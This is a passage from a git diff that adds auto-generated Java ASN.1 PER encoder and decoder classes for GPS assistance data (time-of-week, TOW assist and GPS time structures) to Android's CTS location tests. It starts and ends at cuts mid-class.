+ */
+
+
+//
+
+/**
+ */
+public static class eventOccuredType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_eventOccuredType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public eventOccuredType() {
+ super();
+ setMinSize(32);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_eventOccuredType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_eventOccuredType != null) {
+ return ImmutableList.of(TAG_eventOccuredType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new eventOccuredType from encoded stream.
+ */
+ public static eventOccuredType fromPerUnaligned(byte[] encodedBytes) {
+ eventOccuredType result = new eventOccuredType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new eventOccuredType from encoded stream.
+ */
+ public static eventOccuredType fromPerAligned(byte[] encodedBytes) {
+ eventOccuredType result = new eventOccuredType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "eventOccuredType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class futureEventNotedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_futureEventNotedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public futureEventNotedType() {
+ super();
+ setMinSize(32);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_futureEventNotedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_futureEventNotedType != null) {
+ return ImmutableList.of(TAG_futureEventNotedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new futureEventNotedType from encoded stream.
+ */
+ public static futureEventNotedType fromPerUnaligned(byte[] encodedBytes) {
+ futureEventNotedType result = new futureEventNotedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new futureEventNotedType from encoded stream.
+ */
+ public static futureEventNotedType fromPerAligned(byte[] encodedBytes) {
+ futureEventNotedType result = new futureEventNotedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "futureEventNotedType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSSatEventsInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW23b.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW23b.java
new file mode 100755
index 0000000..f5e4c83
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW23b.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSTOW23b extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GPSTOW23b
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSTOW23b() {
+ super();
+ setValueRange("0", "7559999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSTOW23b;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSTOW23b != null) {
+ return ImmutableList.of(TAG_GPSTOW23b);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSTOW23b from encoded stream.
+ */
+ public static GPSTOW23b fromPerUnaligned(byte[] encodedBytes) {
+ GPSTOW23b result = new GPSTOW23b();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSTOW23b from encoded stream.
+ */
+ public static GPSTOW23b fromPerAligned(byte[] encodedBytes) {
+ GPSTOW23b result = new GPSTOW23b();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GPSTOW23b = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW24b.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW24b.java
new file mode 100755
index 0000000..cebf600
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW24b.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSTOW24b extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GPSTOW24b
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSTOW24b() {
+ super();
+ setValueRange("0", "14399999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSTOW24b;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSTOW24b != null) {
+ return ImmutableList.of(TAG_GPSTOW24b);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSTOW24b from encoded stream.
+ */
+ public static GPSTOW24b fromPerUnaligned(byte[] encodedBytes) {
+ GPSTOW24b result = new GPSTOW24b();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSTOW24b from encoded stream.
+ */
+ public static GPSTOW24b fromPerAligned(byte[] encodedBytes) {
+ GPSTOW24b result = new GPSTOW24b();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GPSTOW24b = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssist.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssist.java
new file mode 100755
index 0000000..366f207
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssist.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSTOWAssist
+ extends Asn1SequenceOf<GPSTOWAssistElement> {
+ //
+
+ private static final Asn1Tag TAG_GPSTOWAssist
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSTOWAssist() {
+ super();
+ setMinSize(1);
+setMaxSize(12);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSTOWAssist;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSTOWAssist != null) {
+ return ImmutableList.of(TAG_GPSTOWAssist);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSTOWAssist from encoded stream.
+ */
+ public static GPSTOWAssist fromPerUnaligned(byte[] encodedBytes) {
+ GPSTOWAssist result = new GPSTOWAssist();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSTOWAssist from encoded stream.
+ */
+ public static GPSTOWAssist fromPerAligned(byte[] encodedBytes) {
+ GPSTOWAssist result = new GPSTOWAssist();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GPSTOWAssistElement createAndAddValue() {
+ GPSTOWAssistElement value = new GPSTOWAssistElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSTOWAssist = [\n");
+ final String internalIndent = indent + " ";
+ for (GPSTOWAssistElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssistElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssistElement.java
new file mode 100755
index 0000000..100b13b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssistElement.java
@@ -0,0 +1,464 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSTOWAssistElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSTOWAssistElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSTOWAssistElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSTOWAssistElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSTOWAssistElement != null) {
+ return ImmutableList.of(TAG_GPSTOWAssistElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSTOWAssistElement from encoded stream.
+ */
+ public static GPSTOWAssistElement fromPerUnaligned(byte[] encodedBytes) {
+ GPSTOWAssistElement result = new GPSTOWAssistElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSTOWAssistElement from encoded stream.
+ */
+ public static GPSTOWAssistElement fromPerAligned(byte[] encodedBytes) {
+ GPSTOWAssistElement result = new GPSTOWAssistElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatelliteID satelliteID_;
+ public SatelliteID getSatelliteID() {
+ return satelliteID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteID
+ */
+ public void setSatelliteID(Asn1Object value) {
+ this.satelliteID_ = (SatelliteID) value;
+ }
+ public SatelliteID setSatelliteIDToNewInstance() {
+ satelliteID_ = new SatelliteID();
+ return satelliteID_;
+ }
+
+ private TLMWord tlmWord_;
+ public TLMWord getTlmWord() {
+ return tlmWord_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TLMWord
+ */
+ public void setTlmWord(Asn1Object value) {
+ this.tlmWord_ = (TLMWord) value;
+ }
+ public TLMWord setTlmWordToNewInstance() {
+ tlmWord_ = new TLMWord();
+ return tlmWord_;
+ }
+
+ private AntiSpoofFlag antiSpoof_;
+ public AntiSpoofFlag getAntiSpoof() {
+ return antiSpoof_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AntiSpoofFlag
+ */
+ public void setAntiSpoof(Asn1Object value) {
+ this.antiSpoof_ = (AntiSpoofFlag) value;
+ }
+ public AntiSpoofFlag setAntiSpoofToNewInstance() {
+ antiSpoof_ = new AntiSpoofFlag();
+ return antiSpoof_;
+ }
+
+ private AlertFlag alert_;
+ public AlertFlag getAlert() {
+ return alert_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AlertFlag
+ */
+ public void setAlert(Asn1Object value) {
+ this.alert_ = (AlertFlag) value;
+ }
+ public AlertFlag setAlertToNewInstance() {
+ alert_ = new AlertFlag();
+ return alert_;
+ }
+
+ private TLMReservedBits tlmRsvdBits_;
+ public TLMReservedBits getTlmRsvdBits() {
+ return tlmRsvdBits_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TLMReservedBits
+ */
+ public void setTlmRsvdBits(Asn1Object value) {
+ this.tlmRsvdBits_ = (TLMReservedBits) value;
+ }
+ public TLMReservedBits setTlmRsvdBitsToNewInstance() {
+ tlmRsvdBits_ = new TLMReservedBits();
+ return tlmRsvdBits_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatelliteID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatelliteID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatelliteIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satelliteID : "
+ + getSatelliteID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTlmWord() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTlmWord();
+ }
+
+ @Override public void setToNewInstance() {
+ setTlmWordToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TLMWord.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tlmWord : "
+ + getTlmWord().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAntiSpoof() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAntiSpoof();
+ }
+
+ @Override public void setToNewInstance() {
+ setAntiSpoofToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AntiSpoofFlag.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "antiSpoof : "
+ + getAntiSpoof().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlert() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlert();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlertToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AlertFlag.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "alert : "
+ + getAlert().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getTlmRsvdBits() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTlmRsvdBits();
+ }
+
+ @Override public void setToNewInstance() {
+ setTlmRsvdBitsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TLMReservedBits.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tlmRsvdBits : "
+ + getTlmRsvdBits().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSTOWAssistElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTime.java
new file mode 100755
index 0000000..a3bdb1b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTime.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSTime != null) {
+ return ImmutableList.of(TAG_GPSTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSTime from encoded stream.
+ */
+ public static GPSTime fromPerUnaligned(byte[] encodedBytes) {
+ GPSTime result = new GPSTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSTime from encoded stream.
+ */
+ public static GPSTime fromPerAligned(byte[] encodedBytes) {
+ GPSTime result = new GPSTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSTOW23b gpsTOW23b_;
+ public GPSTOW23b getGpsTOW23b() {
+ return gpsTOW23b_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTOW23b
+ */
+ public void setGpsTOW23b(Asn1Object value) {
+ this.gpsTOW23b_ = (GPSTOW23b) value;
+ }
+ public GPSTOW23b setGpsTOW23bToNewInstance() {
+ gpsTOW23b_ = new GPSTOW23b();
+ return gpsTOW23b_;
+ }
+
+ private GPSWeek gpsWeek_;
+ public GPSWeek getGpsWeek() {
+ return gpsWeek_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSWeek
+ */
+ public void setGpsWeek(Asn1Object value) {
+ this.gpsWeek_ = (GPSWeek) value;
+ }
+ public GPSWeek setGpsWeekToNewInstance() {
+ gpsWeek_ = new GPSWeek();
+ return gpsWeek_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTOW23b() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTOW23b();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTOW23bToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTOW23b.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTOW23b : "
+ + getGpsTOW23b().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
